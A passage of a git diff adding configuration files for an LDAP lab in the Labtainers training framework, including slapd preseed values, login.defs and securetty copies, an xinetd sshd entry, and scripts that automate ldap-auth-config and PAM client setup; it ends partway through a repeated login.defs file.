a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/configure.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/configure.sh new file mode 100755 index 000000000..a774bd7e5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/configure.sh @@ -0,0 +1,15 @@ +#!/bin/bash +echo -e 'slapd slapd/internal/adminpw password adminpass' | debconf-set-selections +echo -e 'slapd slapd/internal/generated_adminpw password adminpass'| debconf-set-selections +echo -e 'slapd slapd/password2 password adminpass' | debconf-set-selections +echo -e 'slapd slapd/password1 password adminpass' | debconf-set-selections +echo -e 'slapd slapd/domain string example.com' |debconf-set-selections +echo -e 'slapd shared/organization string example' |debconf-set-selections +echo -e 'slapd slapd/backend string MDB' |debconf-set-selections +echo -e 'slapd slapd/purge_database boolean false' |debconf-set-selections +echo -e 'slapd slapd/move_old_database boolean true' |debconf-set-selections +echo -e 'slapd slapd/allow_ldap_v2 boolean false' |debconf-set-selections +echo -e 'slapd slapd/no_configuration boolean false' |debconf-set-selections + +dpkg-reconfigure -fnointeractive slapd + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh new file mode 100755 index 000000000..bae4a3849 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Configure the ldap client +sudo /var/tmp/configure-ldap-client.sh + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/sbin/faux_init new file mode 100755 index 000000000..7ce7d3c88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/configure-ldap-client.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/configure-ldap-client.sh new file mode 100755 index 000000000..0c794ce93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/configure-ldap-client.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# hacked reconfiguration of ldap-auth-config +export VISUAL=/var/tmp/install-ldap-auth-config.sh +dpkg-reconfigure -feditor ldap-auth-config +# causes first password change to fail. +sed -i 's/use_authtok//' /etc/pam.d/common-password + +# enable use of ldap for authentication +sudo sed -i 's/compat/compat ldap/' /etc/nsswitch.conf + +sudo sed -i '/and here are more per-package modules/a session required pam_mkhomedir.so umask=0022 skel=/etc/skel' /etc/pam.d/common-session + +systemctl restart nscd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog1.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog1.txt new file mode 100644 index 000000000..f60c80348 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog1.txt @@ -0,0 +1,15 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# Saying yes will allow future upgrades to use these settings. This is the recommended option. +# +# (Choices: yes, no) +# Should debconf manage LDAP configuration? +ldap-auth-config/override="yes" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog2.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog2.txt new file mode 100644 index 000000000..777b6c082 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog2.txt @@ -0,0 +1,29 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# Please enter the URI of the LDAP server to use. This is a string in the form of ldap://:/. ldaps:// or ldapi:// can also be +# used. The port number is optional. +# +# Note: It is usually a good idea to use an IP address because it reduces risks of failure in the event name service problems. +# +# LDAP server Uniform Resource Identifier: +ldap-auth-config/ldapns/ldap-server="ldap://172.25.0.2" + +# Please enter the distinguished name of the LDAP search base. Many sites use the components of their domain names for this purpose. For example, +# the domain "example.net" would use "dc=example,dc=net" as the distinguished name of the search base. +# +# Distinguished name of the search base: +ldap-auth-config/ldapns/base-dn="dc=example,dc=com" + +# Please enter which version of the LDAP protocol should be used by ldapns. It is usually a good idea to set this to the highest available version. +# +# (Choices: 3, 2) +# LDAP version to use: +ldap-auth-config/ldapns/ldap_version="3" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog3.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog3.txt new file mode 100644 index 000000000..96ffd61dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog3.txt @@ -0,0 +1,27 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# This option will allow you to make password utilities that use pam to behave like you would be changing local passwords. +# +# The password will be stored in a separate file which will be made readable to root only. +# +# If you are using NFS mounted /etc or any other custom setup, you should disable this. +# +# (Choices: yes, no) +# Make local root Database admin: +ldap-auth-config/dbrootlogin="yes" + +# Choose this option if you are required to login to the database to retrieve entries. +# +# Note: Under a normal setup, this is not needed. +# +# (Choices: yes, no) +# Does the LDAP database require login? +ldap-auth-config/dblogin="no" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog4.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog4.txt new file mode 100644 index 000000000..4b02adb56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog4.txt @@ -0,0 +1,25 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# This account will be used when root changes a password. +# +# Note: This account has to be a privileged account. +# +# LDAP account for root: +ldap-auth-config/rootbinddn="cn=admin,dc=example,dc=com" + +# Please enter the password to use when ldap-auth-config tries to login to the LDAP directory using the LDAP account for root. +# +# The password will be stored in a separate file /etc/ldap.secret which will be made readable to root only. +# +# Entering an empty password will re-use the old password. +# +# LDAP root account password: +ldap-auth-config/rootbindpw="adminpass" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog5.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog5.txt new file mode 100644 index 000000000..07efb7a93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/dogs/dog5.txt @@ -0,0 +1,30 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# The PAM module can set the password crypt locally when changing the passwords, which is usually a good choice. Specifying something other than +# clear ensures that the password gets crypted in some way. +# +# The meanings for selections are: +# +# clear - Don't set any encryptions. This is useful with servers that automatically encrypt userPassword entry. +# +# crypt - (Default) make userPassword use the same format as the flat filesystem. This will work for most configurations. +# +# nds - Use Novell Directory Services-style updating by first removing the old password and then update with a cleartext password. +# +# ad - Active Directory-style. Create a Unicode password and update the unicodePwd attribute. +# +# exop - Use the OpenLDAP password change extended operation to update the password. +# +# md5 - Use the stronger md5 algorithm instead of standard crypt. +# +# (Choices: clear, crypt, nds, ad, exop, md5) +# Local crypt to use when changing passwords: +ldap-auth-config/pam_password="md5" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/install-ldap-auth-config.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/install-ldap-auth-config.sh new file mode 100755 index 000000000..6a074f359 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server1/_system/var/tmp/install-ldap-auth-config.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# +# Hacked script to automate installation of ldap-auth-config.sh +# The usual debconf-set-selections fails on ldap-auth-config becuase +# it prompts first for a mother-may-I. +# This script is intended to be named in the VISUAL environment variable +# when the dpkg-reconfig is run with the editor front end: +# dpkg-reconfigure -feditor ldap-auth-config +# +# +fid=$1 +override=$(grep override $1) +if [[ ! -z "$override" ]]; then + echo "IS OVERRIDE" + cp /var/tmp/dogs/dog1.txt $1 +else + server=$(grep "LDAP server Uniform Resource" $1) + if [[ ! -z "$server" ]]; then + echo "IS SERVER" + cp /var/tmp/dogs/dog2.txt $1 + else + local_root=$(grep "Make local root Database" $1) + if [[ ! -z "$local_root" ]]; then + echo "IS LOCAL ROOT" + cp /var/tmp/dogs/dog3.txt $1 + else + root_account=$(grep "LDAP account for root" $1) + if [[ ! -z "$root_account" ]]; then + echo "IS ROOT ACCOUNT" + cp /var/tmp/dogs/dog4.txt $1 + else + pam_fu=$(grep "The PAM module can set the" $1) + if [[ ! -z "$pam_fu" ]]; then + echo "IS pam fu" + cp /var/tmp/dogs/dog5.txt $1 + + fi + fi + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_bin/fixlocal.sh new file mode 100755 index 000000000..bae4a3849 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# Configure the ldap client +sudo /var/tmp/configure-ldap-client.sh + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, 